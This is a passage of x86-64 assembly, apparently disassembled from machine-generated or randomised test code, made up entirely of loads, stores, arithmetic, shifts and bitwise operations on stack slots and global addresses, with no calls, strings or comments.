mov rax, qword [rsp + 0x8ea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc2], al
mov eax, dword [rsp + 0x3c34]
mov dword [rsp + 0x4020], eax
mov eax, dword [rsp + 0x3ef4]
imul eax, dword [rsp + 0x3ce8]
mov dword [rsp + 0x4014], eax
mov rax, qword [rsp + 0x7508]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8818], rax
lea rax, [rsp + 0x8020]
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x82a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8260]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov word [0x1401790fc], ax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x7838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0x111], al
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
sub eax, ecx
mov byte [rsp + 0x118], al
lea rax, [rsp + 0x6d20]
mov qword [rsp + 0x90c0], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3c60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8a20]
mov dword [rcx], eax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x90c8], rax
mov rax, qword [rsp + 0x8a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f50], eax
mov rax, qword [rsp + 0x87c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x145], al
movzx eax, byte [rsp + 0x109]
mov byte [0x14017a59b], al
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcac], ax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x90d8], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xdcc]
xor eax, ecx
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov qword [rsp + 0x90e0], rax
mov rax, qword [rsp + 0x89f8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x3e14]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x8520]
mov ecx, dword [rsp + 0x3db8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x82c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7468]
mov qword [rsp + 0x90e8], rax
movsx eax, byte [0x14017a4d7]
mov rcx, qword [rsp + 0x8120]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140179086], al
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x105], al
movzx eax, word [rsp + 0xf28]
mov word [rsp + 0x1020], ax
mov rax, qword [0x14017a960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
and eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x85d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7598]
mov byte [rcx], al
mov rax, qword [rsp + 0x8020]
mov qword [rsp + 0x90f0], rax
mov rax, qword [rsp + 0x7718]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8698]
mov dword [rcx], eax
lea rax, [rsp + 0x3f84]
mov qword [rsp + 0x90f8], rax
mov rax, qword [rsp + 0x8148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8890]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ca0]
mov qword [rcx], rax
movsx eax, word [0x14017a7b0]
movsx ecx, word [rsp + 0xfe0]
add eax, ecx
mov word [0x14017a638], ax
mov rax, qword [rsp + 0x8338]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov word [rsp + 0xeb0], ax
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x167], al
movsx eax, byte [rsp + 0x160]
movsx ecx, byte [rsp + 0x165]
sub eax, ecx
mov rcx, qword [rsp + 0x85a8]
mov byte [rcx], al
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x9100], rax
mov rax, qword [rsp + 0x7cb0]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8550]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e60]
mov rcx, qword [rsp + 0x8390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7548]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9020]
mov eax, dword [rax]
mov dword [rsp + 0x4024], eax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7a18]
mov qword [rsp + 0x9108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x88a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8910]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179087], al
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x8bb8]
movzx eax, word [rax]
movzx ecx, word [0x140179074]
sar eax, cl
mov rcx, qword [rsp + 0x8370]
mov word [rcx], ax
mov rax, qword [rsp + 0x7030]
movzx eax, word [rax]
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
xor eax, ecx
mov word [rsp + 0xf50], ax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7140]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7f70]
mov qword [rcx], rax
lea rax, [rsp + 0x3ebc]
mov qword [rsp + 0x9118], rax
mov rax, qword [rsp + 0x8040]
mov rcx, qword [rsp + 0x85a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3bf4], eax
lea rax, [rsp + 0x7630]
mov qword [rsp + 0x9120], rax
movsx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0x88c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179044], ax
movsx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0x8e10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
movzx eax, byte [0x14017901e]
movzx ecx, byte [rsp + 0x8c]
add eax, ecx
mov rcx, qword [rsp + 0x8968]
mov byte [rcx], al
mov rax, qword [rsp + 0x8860]
movzx eax, word [rax]
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7450]
mov word [rcx], ax
lea rax, [rsp + 0x8f00]
mov qword [rsp + 0x9128], rax
mov rax, qword [rsp + 0x8318]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fe4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e40], eax
mov rax, qword [rsp + 0x8620]
mov rcx, qword [rsp + 0x7710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d90], eax
mov rax, qword [rsp + 0x7bd0]
mov rax, qword [rax]
mov qword [rsp + 0x9130], rax
lea rax, [rsp + 0x9f]
mov qword [0x14017a970], rax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13f]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov byte [rcx], al
movzx eax, word [0x14017a718]
mov word [rsp + 0x102c], ax
movzx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x7da0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
xor eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x86a8]
mov rax, qword [rax]
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x7810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cac], eax
mov rax, qword [rsp + 0x70b0]
mov rax, qword [rax]
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x7908]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8290]
mov qword [rsp + 0x9148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9148]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3bf8], eax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401790bc], ax
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x9150], rax
movsx eax, byte [rsp + 0xc0]
mov rcx, qword [0x14017a510]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, word [rsp + 0xe04]
mov rcx, qword [rsp + 0x8398]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe94]
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0x7268]
mov rcx, qword [rsp + 0x7ca8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6bf8], rax
mov eax, dword [rsp + 0x3d60]
mov dword [rsp + 0x4028], eax
mov rax, qword [rsp + 0x8730]
mov rcx, qword [rsp + 0x72d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x7420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8270]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov word [0x14017a4e0], ax
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, word [rsp + 0xfd4]
mov word [rsp + 0x1034], ax
movsx eax, word [rsp + 0xf04]
movsx ecx, word [rsp + 0xfac]
sub eax, ecx
mov word [rsp + 0xe00], ax
mov eax, dword [rsp + 0x3fe0]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov dword [rcx], eax
lea rax, [rsp + 0x8690]
mov qword [rsp + 0x9158], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8580]
mov dword [rcx], eax
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd64]
sub eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov byte [0x14017a59e], al
lea rax, [0x1401790e8]
mov qword [rsp + 0x9168], rax
movsx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd9c]
cdq
idiv ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x8f18]
mov rax, qword [rax]
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8620]
mov qword [rsp + 0x9178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c54], eax
mov eax, dword [rsp + 0x3d3c]
mov dword [rsp + 0x402c], eax
mov rax, qword [rsp + 0x8ae8]
movzx ecx, al
mov rax, qword [rsp + 0x8768]
sar rax, cl
mov rcx, qword [rsp + 0x88f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x113], al
movsx eax, word [rsp + 0xfa4]
movsx ecx, word [0x140179050]
and eax, ecx
mov word [0x140179108], ax
mov rax, qword [rsp + 0x86c8]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
movsx eax, word [rsp + 0xe80]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x9150]
movzx eax, byte [rax]
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x7ee8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8960]
mov rcx, qword [rsp + 0x8b80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
mov dword [rsp + 0x4030], eax
mov eax, dword [rsp + 0x3d38]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db0], eax
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov rcx, qword [0x14017a608]
mov byte [rcx], al
mov rax, qword [rsp + 0x8740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8a28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x7b70]
mov byte [rcx], al
lea rax, [rsp + 0xc9]
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x8220]
mov rcx, qword [rsp + 0x7c00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x87b8], rax
lea rax, [rsp + 0x77d0]
mov qword [rsp + 0x9190], rax
mov eax, dword [0x14017a4d0]
mov rcx, qword [rsp + 0x77c0]
mov qword [rsp + 0x9198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9198]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3da4], eax
mov eax, dword [rsp + 0x3d48]
mov dword [rsp + 0x4034], eax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdf0], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0x93]
xor eax, ecx
mov byte [0x14017908a], al
mov rax, qword [rsp + 0x7568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7388]
mov word [rcx], ax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x75d0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a5f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x76c8]
mov rcx, qword [rsp + 0x6ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8a20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x80e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x8288]
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x3ecc]
mov ecx, dword [rsp + 0x3dbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8110]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179038], ax
movzx eax, word [rsp + 0xdf8]
mov word [rsp + 0x1040], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x46]
and eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, byte [0x14017905a]
mov rcx, qword [rsp + 0x8db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
lea rax, [rsp + 0xf6c]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x7698]
mov rcx, qword [rsp + 0x7430]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f68]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x6bf8]
mov rcx, qword [rsp + 0x6da8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad8], rax
mov rax, qword [rsp + 0x8ce0]
mov eax, dword [rax]
mov dword [rsp + 0x4038], eax
lea rax, [rsp + 0xcf]
mov qword [0x14017a978], rax
mov rax, qword [rsp + 0x8720]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8338]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x113]
or eax, ecx
mov byte [rsp + 0x16a], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0x91b8], rax
movzx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0x8820]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov word [rcx], ax
lea rax, [rsp + 0x3b58]
mov qword [rsp + 0x91c0], rax
mov rax, qword [0x140179010]
movzx ecx, al
mov rax, qword [rsp + 0x86b8]
shr rax, cl
mov qword [rsp + 0x8bc8], rax
mov rax, qword [rsp + 0x87a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x90f8]
mov qword [rsp + 0x91c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fe8], eax
mov rax, qword [rsp + 0x7480]
mov rax, qword [rax]
mov qword [rsp + 0x91d0], rax
movsx eax, byte [rsp + 0x13c]
movsx ecx, byte [0x14017902f]
and eax, ecx
mov byte [0x14017906b], al
mov rax, qword [rsp + 0x86c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd14]
imul eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x16b], al
movsx eax, word [rsp + 0xfe0]
mov rcx, qword [0x14017a690]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd20], ax
movsx eax, word [rsp + 0xf28]
movsx ecx, word [rsp + 0xf14]
sub eax, ecx
mov rcx, qword [rsp + 0x72e0]
mov word [rcx], ax
lea rax, [rsp + 0x7ef8]
mov qword [rsp + 0x91d8], rax
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d0c], eax
mov rax, qword [rsp + 0x7ca8]
mov qword [rsp + 0x91e0], rax
mov eax, dword [rsp + 0x3f28]
mov ecx, dword [rsp + 0x3f38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e10], eax
movsx eax, byte [rsp + 0x140]
movsx ecx, byte [rsp + 0x11a]
sub eax, ecx
mov byte [0x140179083], al
movzx eax, word [rsp + 0xdd0]
movzx ecx, word [rsp + 0xd88]
and eax, ecx
mov rcx, qword [rsp + 0x90d8]
mov word [rcx], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x91e8], rax
mov rax, qword [0x14017a828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x101]
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x7fa0]
mov rcx, qword [rsp + 0x7cc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c90], rax
lea rax, section..data
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7110]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6dc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3e98]
sar eax, cl
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf7]
xor eax, ecx
mov byte [0x14017908b], al
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0x1044], ax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [0x14017906f]
or eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov word [rsp + 0x1048], ax
movzx eax, word [rsp + 0x1034]
mov rcx, qword [rsp + 0x8840]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x84b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x8ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7ff0]
mov rax, qword [rax]
mov qword [rsp + 0x91f8], rax
mov rax, qword [rsp + 0x7548]
mov rcx, qword [rsp + 0x6dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6e68]
mov qword [rcx], rax
lea rax, [rsp + 0x3d3c]
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x6fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov rcx, qword [0x14017a610]
mov byte [rcx], al
mov rax, qword [rsp + 0x84e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8510]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov word [rsp + 0x104c], ax
movsx eax, word [rsp + 0xfa4]
movsx ecx, word [rsp + 0xef8]
add eax, ecx
mov rcx, qword [rsp + 0x8ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d08]
mov qword [rsp + 0x9208], rax
mov rax, qword [rsp + 0x8ec0]
mov rcx, qword [rsp + 0x7908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x7378]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x78d8], rax
mov eax, dword [section..data]
mov dword [rsp + 0x403c], eax
movzx eax, byte [rsp + 0x8e]
mov byte [0x14017a59f], al
movzx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x109]
add eax, ecx
mov byte [rsp + 0xc4], al
movzx eax, word [rsp + 0xe8c]
mov word [rsp + 0x1054], ax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x85c0]
mov qword [rsp + 0x9210], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9210]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7328]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d3c]
mov ecx, dword [rsp + 0x3ef0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ebc], eax
mov rax, qword [rsp + 0x7620]
mov eax, dword [rax]
mov dword [rsp + 0x4040], eax
mov rax, qword [rsp + 0x8b68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7078]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x74d0], rax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x8dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x79c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14017910c], ax
movzx eax, word [rsp + 0xfa8]
movzx ecx, word [0x14017a708]
sub eax, ecx
mov rcx, qword [rsp + 0x78e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9068]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x78d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x77d8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e50]
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x89b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x81b0]
mov rcx, qword [rsp + 0x7970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8158], rax
movzx eax, byte [rsp + 0x14f]
mov byte [rsp + 0x16e], al
movsx eax, byte [rsp + 0x13c]
movsx ecx, byte [rsp + 0x48]
add eax, ecx
mov byte [0x140179073], al
mov rax, qword [0x14017a740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8990]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1044], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0x9220], rax
mov rax, qword [rsp + 0x86b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x167]
add eax, ecx
mov rcx, qword [rsp + 0x6e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c30]
mov qword [rsp + 0x9228], rax
mov eax, dword [rsp + 0x3de8]
mov ecx, dword [rsp + 0x4014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e0c], eax
mov rax, qword [rsp + 0x75b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x84d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90c8]
mov rax, qword [rax]
mov qword [rsp + 0x9230], rax
movsx eax, word [rsp + 0x1010]
movsx ecx, word [rsp + 0xe24]
shl eax, cl
mov rcx, qword [rsp + 0x8418]
mov word [rcx], ax
lea rax, [rsp + 0x100]
mov qword [0x14017a980], rax
mov rax, qword [rsp + 0x82a8]
movzx eax, word [rax]
mov word [rsp + 0x1058], ax
movzx eax, word [0x14017a808]
movzx ecx, word [rsp + 0xd88]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7f20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [rsp + 0x10a]
or eax, ecx
mov rcx, qword [rsp + 0x7640]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c94]
mov dword [rsp + 0x4048], eax
mov rax, qword [rsp + 0x87a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3d30]
shr eax, cl
mov dword [rsp + 0x3c30], eax
lea rax, [rsp + 0x8490]
mov qword [rsp + 0x9238], rax
mov rax, qword [rsp + 0x80c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ee8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8288], rax
movzx eax, word [rsp + 0xe04]
movzx ecx, word [rsp + 0x1028]
add eax, ecx
mov word [rsp + 0xc10], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x14e]
add eax, ecx
mov rcx, qword [0x14017a960]
mov byte [rcx], al
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0x7670]
movzx eax, word [rax]
